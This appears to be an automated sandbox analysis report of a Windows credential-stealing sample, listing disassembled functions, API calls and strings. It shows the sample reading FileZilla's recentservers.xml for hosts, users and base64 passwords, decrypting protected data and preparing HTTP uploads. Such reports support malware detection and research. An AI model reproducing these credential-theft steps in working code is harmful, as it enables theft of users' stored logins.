GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 14c0ab0b22d3b55be4b1b85a16f1d51f48c539d8f55157215b1f493d159b7593
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: 14c0ab0b22d3b55be4b1b85a16f1d51f48c539d8f55157215b1f493d159b7593
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8a864e3a1795c391fe57ca188680f07646e4f6b1508932d3870f8cbfce402856
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 8a864e3a1795c391fe57ca188680f07646e4f6b1508932d3870f8cbfce402856
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02F34F08,00000000,?,0041D758,00000000,?,00000000,00000000,?,02F35348,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F315B8,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,02F31DA8), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,02F34980), ref: 004072FB
lstrcat.KERNEL32(?,02F349B0), ref: 0040730F
lstrcat.KERNEL32(?,02F349E0), ref: 00407322
lstrcat.KERNEL32(?,02F347A0), ref: 00407336
lstrcat.KERNEL32(?,02F35780), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,02F34980), ref: 00407399
lstrcat.KERNEL32(?,02F349B0), ref: 004073AD
lstrcat.KERNEL32(?,02F349E0), ref: 004073C1
lstrcat.KERNEL32(?,02F347A0), ref: 004073D4
lstrcat.KERNEL32(?,02F357E8), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,02F34980), ref: 00407438
lstrcat.KERNEL32(?,02F349B0), ref: 0040744B
lstrcat.KERNEL32(?,02F349E0), ref: 0040745F
lstrcat.KERNEL32(?,02F347A0), ref: 00407473
lstrcat.KERNEL32(?,02F35850), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,02F34980), ref: 004074D6
lstrcat.KERNEL32(?,02F349B0), ref: 004074EA
lstrcat.KERNEL32(?,02F349E0), ref: 004074FD
lstrcat.KERNEL32(?,02F347A0), ref: 00407511
lstrcat.KERNEL32(?,02F358B8), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,02F34980), ref: 00407574
lstrcat.KERNEL32(?,02F349B0), ref: 00407588
lstrcat.KERNEL32(?,02F349E0), ref: 0040759C
lstrcat.KERNEL32(?,02F347A0), ref: 004075AF
lstrcat.KERNEL32(?,02F35920), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,02F34980), ref: 00407613
lstrcat.KERNEL32(?,02F349B0), ref: 00407626
lstrcat.KERNEL32(?,02F349E0), ref: 0040763A
lstrcat.KERNEL32(?,02F347A0), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(356DB020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,02F31398), ref: 004077DB
lstrcat.KERNEL32(?,02F34FC8), ref: 004077EE
lstrlen.KERNEL32(356DB020), ref: 004077FB
lstrlen.KERNEL32(356DB020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: 33b0a027ab227198561527519ca04adcf6ffe2a9aced9a5d852d19cd012e2f06
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: 33b0a027ab227198561527519ca04adcf6ffe2a9aced9a5d852d19cd012e2f06
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4
login: , xrefs: 0040EE0A
<Pass encoding="base64">, xrefs: 0040EC9A
<Host>, xrefs: 0040EBBC
password: , xrefs: 0040EE3B
<User>, xrefs: 0040EC50
browser: FileZilla, xrefs: 0040ED99
profile: null, xrefs: 0040EDA8
url: , xrefs: 0040EDB7
<Port>, xrefs: 0040EC06

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 42faabc2fa838f17960ce1c1db33aa75d6b289c1d4cc12f14838042eb8fd5f01
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: 42faabc2fa838f17960ce1c1db33aa75d6b289c1d4cc12f14838042eb8fd5f01
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02F16908), ref: 00415F11
GetProcAddress.KERNEL32(75900000,02F16938), ref: 00415F2A
GetProcAddress.KERNEL32(75900000,02F16950), ref: 00415F42
GetProcAddress.KERNEL32(75900000,02F16998), ref: 00415F5A
GetProcAddress.KERNEL32(75900000,02F16968), ref: 00415F73
GetProcAddress.KERNEL32(75900000,02F31698), ref: 00415F8B
GetProcAddress.KERNEL32(75900000,02F30620), ref: 00415FA3
GetProcAddress.KERNEL32(75900000,02F30580), ref: 00415FBC
GetProcAddress.KERNEL32(75900000,02F31780), ref: 00415FD4
GetProcAddress.KERNEL32(75900000,02F31930), ref: 00415FEC
GetProcAddress.KERNEL32(75900000,02F31990), ref: 00416005
GetProcAddress.KERNEL32(75900000,02F31810), ref: 0041601D
GetProcAddress.KERNEL32(75900000,02F30520), ref: 00416035
GetProcAddress.KERNEL32(75900000,02F318E8), ref: 0041604E
GetProcAddress.KERNEL32(75900000,02F31900), ref: 00416066
GetProcAddress.KERNEL32(75900000,02F30480), ref: 0041607E
GetProcAddress.KERNEL32(75900000,02F317F8), ref: 00416097
GetProcAddress.KERNEL32(75900000,02F31948), ref: 004160AF
GetProcAddress.KERNEL32(75900000,02F305C0), ref: 004160C7
GetProcAddress.KERNEL32(75900000,02F317E0), ref: 004160E0
GetProcAddress.KERNEL32(75900000,02F30640), ref: 004160F8
LoadLibraryA.KERNEL32(02F31918,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(02F318A0,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(02F318B8,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(02F31828,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(02F31A38,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75070000,02F31960), ref: 00416172
GetProcAddress.KERNEL32(75FD0000,02F317B0), ref: 00416193
GetProcAddress.KERNEL32(75FD0000,02F31A50), ref: 004161AB
GetProcAddress.KERNEL32(75A50000,02F31A68), ref: 004161CD
GetProcAddress.KERNEL32(74E50000,02F30740), ref: 004161EE
GetProcAddress.KERNEL32(76E80000,02F31688), ref: 0041620F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 54.8, APIs: 22, Strings: 9, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,02F313D8,?,02F35BC8,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

